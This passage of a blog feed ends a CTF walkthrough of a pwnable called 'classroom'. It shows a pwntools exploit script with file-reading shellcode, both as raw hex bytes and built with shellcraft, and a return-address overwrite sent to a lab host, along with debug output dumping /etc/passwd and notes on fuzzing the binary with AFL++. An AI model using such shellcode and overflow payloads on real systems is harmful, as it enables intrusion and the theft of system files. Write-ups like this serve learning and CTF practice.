        <span class="n">push</span> <span class="mi">1</span> <span class="o">/*</span> <span class="mi">1</span> <span class="o">*/</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">push</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">/*</span> <span class="mi">1</span> <span class="o">*/</span>
        <span class="n">pop</span> <span class="n">rdi</span>
        <span class="n">xor</span> <span class="n">edx</span><span class="p">,</span> <span class="n">edx</span>
        <span class="n">mov</span> <span class="n">dx</span><span class="p">,</span> <span class="mh">0x12c</span>
        <span class="n">syscall</span>
        <span class="o">/*</span> <span class="n">call</span> <span class="nb">exit</span><span class="p">(</span><span class="s">'0'</span><span class="p">)</span> <span class="o">*/</span>
        <span class="n">push</span> <span class="mi">60</span> <span class="o">/*</span> <span class="mh">0x3c</span> <span class="o">*/</span>
        <span class="n">pop</span> <span class="n">rax</span>
        <span class="n">xor</span> <span class="n">edi</span><span class="p">,</span> <span class="n">edi</span> <span class="o">/*</span> <span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*/</span>
        <span class="n">syscall</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="k">as</span> <span class="o">-</span><span class="mi">64</span> <span class="o">-</span><span class="n">o</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">uu_n8ey0</span><span class="o">/</span><span class="n">step2</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">uu_n8ey0</span><span class="o">/</span><span class="n">step1</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">objcopy</span> <span class="o">-</span><span class="n">j</span> <span class="p">.</span><span class="n">shellcode</span> <span class="o">-</span><span class="n">Obinary</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">uu_n8ey0</span><span class="o">/</span><span class="n">step3</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="n">uu_n8ey0</span><span class="o">/</span><span class="n">step4</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Building</span> <span class="n">ELF</span><span class="p">:</span>
    <span class="p">.</span><span class="n">section</span> <span class="p">.</span><span class="n">shellcode</span><span class="p">,</span><span class="s">"awx"</span>
    <span class="p">.</span><span class="k">global</span> <span class="n">_start</span>
    <span class="p">.</span><span class="k">global</span> <span class="n">__start</span>
    <span class="n">_start</span><span class="p">:</span>
    <span class="n">__start</span><span class="p">:</span>
    <span class="p">.</span><span class="n">intel_syntax</span> <span class="n">noprefix</span>
    <span class="p">.</span><span class="n">p2align</span> <span class="mi">0</span>
    <span class="p">.</span><span class="n">string</span> <span class="s">"</span><span class="se">\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe7\x6a\x02\x58\x31\xf6\x0f\x05\x48\x89\xc3\x31\xc0\x48\x89\xdf\x31\xd2\x66\xba\x2c\x01\x48\x89\xe6\x0f\x05\x6a\x01\x58\x6a\x01\x5f\x31\xd2\x66\xba\x2c\x01\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05</span><span class="s">"</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="k">as</span> <span class="o">-</span><span class="mi">64</span> <span class="o">-</span><span class="n">o</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step2</span><span class="o">-</span><span class="n">obj</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step1</span><span class="o">-</span><span class="n">asm</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">ld</span> <span class="o">--</span><span class="n">oformat</span><span class="o">=</span><span class="n">elf64</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">-</span><span class="n">EL</span> <span class="o">-</span><span class="n">z</span> <span class="n">execstack</span> <span class="o">--</span><span class="n">no</span><span class="o">-</span><span class="n">warn</span><span class="o">-</span><span class="n">execstack</span> <span class="o">--</span><span class="n">no</span><span class="o">-</span><span class="n">warn</span><span class="o">-</span><span class="n">rwx</span><span class="o">-</span><span class="n">segments</span> <span class="o">-</span><span class="n">o</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step3</span><span class="o">-</span><span class="n">elf</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step2</span><span class="o">-</span><span class="n">obj</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">objcopy</span> <span class="o">-</span><span class="n">Sg</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step3</span><span class="o">-</span><span class="n">elf</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">-</span><span class="n">strip</span> <span class="o">--</span><span class="n">strip</span><span class="o">-</span><span class="n">unneeded</span> <span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">pwn</span><span class="o">-</span><span class="n">asm</span><span class="o">-</span><span class="mi">5</span><span class="n">d8c563a</span><span class="o">/</span><span class="n">step3</span><span class="o">-</span><span class="n">elf</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="s">'/tmp/pwn-asm-5d8c563a/step3-elf'</span> <span class="ow">is</span> <span class="n">statically</span> <span class="n">linked</span><span class="p">,</span> <span class="n">skipping</span> <span class="n">GOT</span><span class="o">/</span><span class="n">PLT</span> <span class="n">symbols</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="s">'/tmp/pwn-asm-5d8c563a/step3-elf'</span>
    <span class="n">Arch</span><span class="p">:</span>     <span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
    <span class="n">RELRO</span><span class="p">:</span>    <span class="n">No</span> <span class="n">RELRO</span>
    <span class="n">Stack</span><span class="p">:</span>    <span class="n">No</span> <span class="n">canary</span> <span class="n">found</span>
    <span class="n">NX</span><span class="p">:</span>       <span class="n">NX</span> <span class="n">unknown</span> <span class="o">-</span> <span class="n">GNU_STACK</span> <span class="n">missing</span>
    <span class="n">PIE</span><span class="p">:</span>      <span class="n">No</span> <span class="n">PIE</span> <span class="p">(</span><span class="mh">0x400000</span><span class="p">)</span>
    <span class="n">Stack</span><span class="p">:</span>    <span class="n">Executable</span>
    <span class="n">RWX</span><span class="p">:</span>      <span class="n">Has</span> <span class="n">RWX</span> <span class="n">segments</span>
<span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/tmp/pwn-asm-5d8c563a/step3-elf'</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/tmp/pwn-asm-5d8c563a/step3-elf'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">6550</span>
<span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="n">Receiving</span> <span class="nb">all</span> <span class="n">data</span>
<span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="n">Receiving</span> <span class="nb">all</span> <span class="n">data</span><span class="p">:</span> <span class="mi">0</span><span class="n">B</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Process</span> <span class="s">'/tmp/pwn-asm-5d8c563a/step3-elf'</span> <span class="n">stopped</span> <span class="k">with</span> <span class="nb">exit</span> <span class="n">code</span> <span class="mi">0</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">6550</span><span class="p">)</span>
<span class="p">[</span><span class="n">DEBUG</span><span class="p">]</span> <span class="n">Received</span> <span class="mh">0x12c</span> <span class="nb">bytes</span><span class="p">:</span>
    <span class="sa">b</span><span class="s">'root:x:0:0:root:/root:/usr/bin/zsh</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'bin:x:2:2:bin:/bin:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'sys:x:3:3:sys:/dev:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'sync:x:4:65534:sync:/bin:/bin/sync</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'games:x:5:60:games:/usr/games:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">'</span>
    <span class="sa">b</span><span class="s">'lp:x:7:7:lp:'</span>
<span class="p">[</span><span class="n">x</span><span class="p">]</span> <span class="n">Receiving</span> <span class="nb">all</span> <span class="n">data</span><span class="p">:</span> <span class="mi">300</span><span class="n">B</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Receiving</span> <span class="nb">all</span> <span class="n">data</span><span class="p">:</span> <span class="n">Done</span> <span class="p">(</span><span class="mi">300</span><span class="n">B</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span> <span class="sa">b</span><span class="s">'root:x:0:0:root:/root:/usr/bin/zsh</span><span class="se">\n</span><span class="s">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">sys:x:3:3:sys:/dev:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">sync:x:4:65534:sync:/bin:/bin/sync</span><span class="se">\n</span><span class="s">games:x:5:60:games:/usr/games:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</span><span class="se">\n</span><span class="s">lp:x:7:7:lp:'</span>
</code></pre></div></div>

<p>Updating <code class="language-plaintext highlighter-rouge">sploit.py</code> we get:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># context.log_level = 'debug'
</span>
<span class="c1"># Set up pwntools for the correct architecture
</span><span class="n">exe</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">EXE</span> <span class="ow">or</span> <span class="s">'./classroom'</span><span class="p">)</span>

<span class="c1"># Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
</span><span class="n">host</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">HOST</span> <span class="ow">or</span> <span class="s">'192.168.13.37'</span>
<span class="n">port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">PORT</span> <span class="ow">or</span> <span class="mi">8000</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">start_local</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Execute the target binary locally'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">.</span><span class="n">path</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
        <span class="c1"># return process('strace ./classroom', shell=True)
</span>
<span class="k">def</span> <span class="nf">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Connect to the process on the remote host'''</span>
    <span class="n">io</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">io</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Start the exploit against the target.'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_local</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">start_remote</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
tbreak main
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments
</span>
<span class="c1"># shellcode = '' # shellcode placeholder
# shellcode = asm(pwnlib.shellcraft.amd64.readfile("/etc/passwd", 2))
# shellcode = b'\x68\x32\x36\x25\x41\x81\x34\x24\x41\x41\x41\x41\x49\xbe\x2f\x65\x74\x63\x2f\x70\x61\x73\x41\x56\x48\x31\xc0\xb0\x02\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x48\x31\xd2\x66\xba\x2c\x01\x0f\x05\x48\x31\xc0\xfe\xc0\x40\xb7\x01\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05'
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span>
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">pushstr</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span> <span class="o">+</span>
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">mov</span><span class="p">(</span><span class="s">'rdi'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">)</span> <span class="o">+</span>
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_open'</span><span class="p">,</span> <span class="s">'rdi'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> 
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">mov</span><span class="p">(</span><span class="s">'rbx'</span><span class="p">,</span> <span class="s">'rax'</span><span class="p">)</span> <span class="o">+</span> <span class="c1"># store file descriptor
</span>    <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_read'</span><span class="p">,</span> <span class="s">'rbx'</span><span class="p">,</span> <span class="s">'rsp'</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span> <span class="o">+</span> 
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_write'</span><span class="p">,</span> <span class="s">'1'</span><span class="p">,</span> <span class="s">'rsi'</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span> <span class="o">+</span> 
    <span class="n">shellcraft</span><span class="p">.</span><span class="n">syscall</span><span class="p">(</span><span class="s">'SYS_exit'</span><span class="p">,</span> <span class="s">'0'</span><span class="p">)</span>
<span class="p">)</span>

<span class="n">payload1</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">0</span><span class="p">:</span> <span class="n">shellcode</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">nop</span><span class="p">()),</span> <span class="n">length</span><span class="o">=</span><span class="mi">78</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload1</span><span class="p">))</span>

<span class="n">payload2</span> <span class="o">=</span> <span class="n">fit</span><span class="p">({</span>
    <span class="mi">136</span><span class="p">:</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40090c</span><span class="p">)</span>
    <span class="p">},</span> <span class="n">filler</span><span class="o">=</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">nop</span><span class="p">()),</span> <span class="n">length</span><span class="o">=</span><span class="mi">400</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">hexdump</span><span class="p">(</span><span class="n">payload2</span><span class="p">))</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="c1"># shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
</span>
<span class="n">pause</span><span class="p">()</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># receive everything until prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>  <span class="c1"># send payload1 at the `Is everything clear? (y/n)` question
</span><span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># continue receiving and sending data until the 5th question 
</span><span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">)</span>    <span class="c1"># `Well, maybe a last one and then we finish!` prompt
</span><span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload2</span><span class="p">)</span>      <span class="c1"># send payload2
</span><span class="n">flag</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>

<span class="c1">#io.interactive()
</span></code></pre></div></div>
<p>And here is a full run in all it’s glory.</p>
<div id="sploit"></div>
<script>AsciinemaPlayer.create('/assets/cast/classroom.sploit.cast', document.getElementById('sploit'));</script>

<h2 id="fuzzing-with-afl">Fuzzing with AFL</h2>

<p>Now, say that you are absolutely not gonna bother with trying to find the crash. Just ain’t. Allergic to ghidra kind of attitude.</p>

<p>You can use <a href="https://github.com/AFLplusplus/AFLplusplus">AFLplusplus</a> to help you fuzz the binary and identify input that leads to interesting paths.</p>

<p><a href="https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/INSTALL.md">Setting it up</a> these days is really straight forward, or you can use a simple <code class="language-plaintext highlighter-rouge">docker pull aflplusplus/aflplusplus:latest</code>. 
In any case, for black-box fuzzing, which we will be performing, you are going to need to build <code class="language-plaintext highlighter-rouge">qemu</code> support using <code class="language-plaintext highlighter-rouge">/AFLplusplus/qemu_mode/build_qemu_support.sh</code>.</p>

<p>You’ll also need to pull the binary in the container, and create the appropriate directory structure (in/out).</p>

<p>What you can also do is build interesting input files for AFL. Although we can go literally nuts here, we will try to keep it simple.</p>

<p>First, create some test files of variable length (from 1 to 500).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>0<span class="p">;</span>i&lt;<span class="o">=</span>500<span class="p">;</span>i+<span class="o">=</span>64<span class="o">))</span><span class="p">;</span> <span class="k">do </span>python3 <span class="nt">-c</span> <span class="s2">"print('A'* </span><span class="nv">$i</span><span class="s2"> )"</span> | <span class="nb">tee</span> ./in/crash-AAAA-<span class="nv">$i</span> <span class="p">;</span> <span class="k">done</span>
</code></pre></div></div>

<p>In addition, and to speed things up, knowing that the binary accepts a bunch of <code class="language-plaintext highlighter-rouge">y</code>s initially, we can make an educated guess and create some input files that can assist AFL to find interesting paths faster.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>0<span class="p">;</span>i&lt;<span class="o">=</span>500<span class="p">;</span>i+<span class="o">=</span>64<span class="o">))</span><span class="p">;</span> <span class="k">do </span>python3 <span class="nt">-c</span> <span class="s2">"print('y'* </span><span class="nv">$i</span><span class="s2"> )"</span> | <span class="nb">tee</span> ./in/crash-yyyy-<span class="nv">$i</span> <span class="p">;</span> <span class="k">done</span>
</code></pre></div></div>

<p>Running AFLplusplus should result in usable crash cases almost instantly. As in, for example, in the screencast below where we are having 5 usable crashe cases in less that 30”.</p>

<div id="afl"></div>
<script>AsciinemaPlayer.create('/assets/cast/classroom.afl.cast', document.getElementById('afl'));</script>

<p></p>
<p><code class="language-plaintext highlighter-rouge">EOF</code></p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:Rant" role="doc-endnote">
      <p>And ok, yeah, it was not a big event, nor was the CTF any larger. But only 3 solves? What’s the play here? Everybody else is killing it out there in CTFs and IRL, and we are doing what exactly? Yes, there are teams from GR that are having success in global events, of course. But how are these teams seeded if in entry level events we are failing at the obvious? How is this not a problem, both for the scene and the security industry altogether? <a href="#fnref:Rant" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>0乂ᐯ爪</name></author><category term="blog" /><category term="pwn" /><category term="AFL" /><summary type="html"><![CDATA[Walkthrough of a pwnable using pwntools, pwndbg, AFL]]></summary></entry><entry><title type="html">Welcome to my Blog!</title><link href="https://0xvm.github.io/blog/welcome/" rel="alternate" type="text/html" title="Welcome to my Blog!" /><published>2024-07-13T00:00:00+00:00</published><updated>2024-07-13T00:00:00+00:00</updated><id>https://0xvm.github.io/blog/welcome</id><content type="html" xml:base="https://0xvm.github.io/blog/welcome/"><![CDATA[<p>Almost 15 years later i’ll resume blogging, many many thanks for stopping by!</p>]]></content><author><name>0乂ᐯ爪</name></author><category term="blog" /><category term="blog" /><summary type="html"><![CDATA[Almost 15 years later i’ll resume blogging, many many thanks for stopping by!]]></summary></entry></feed>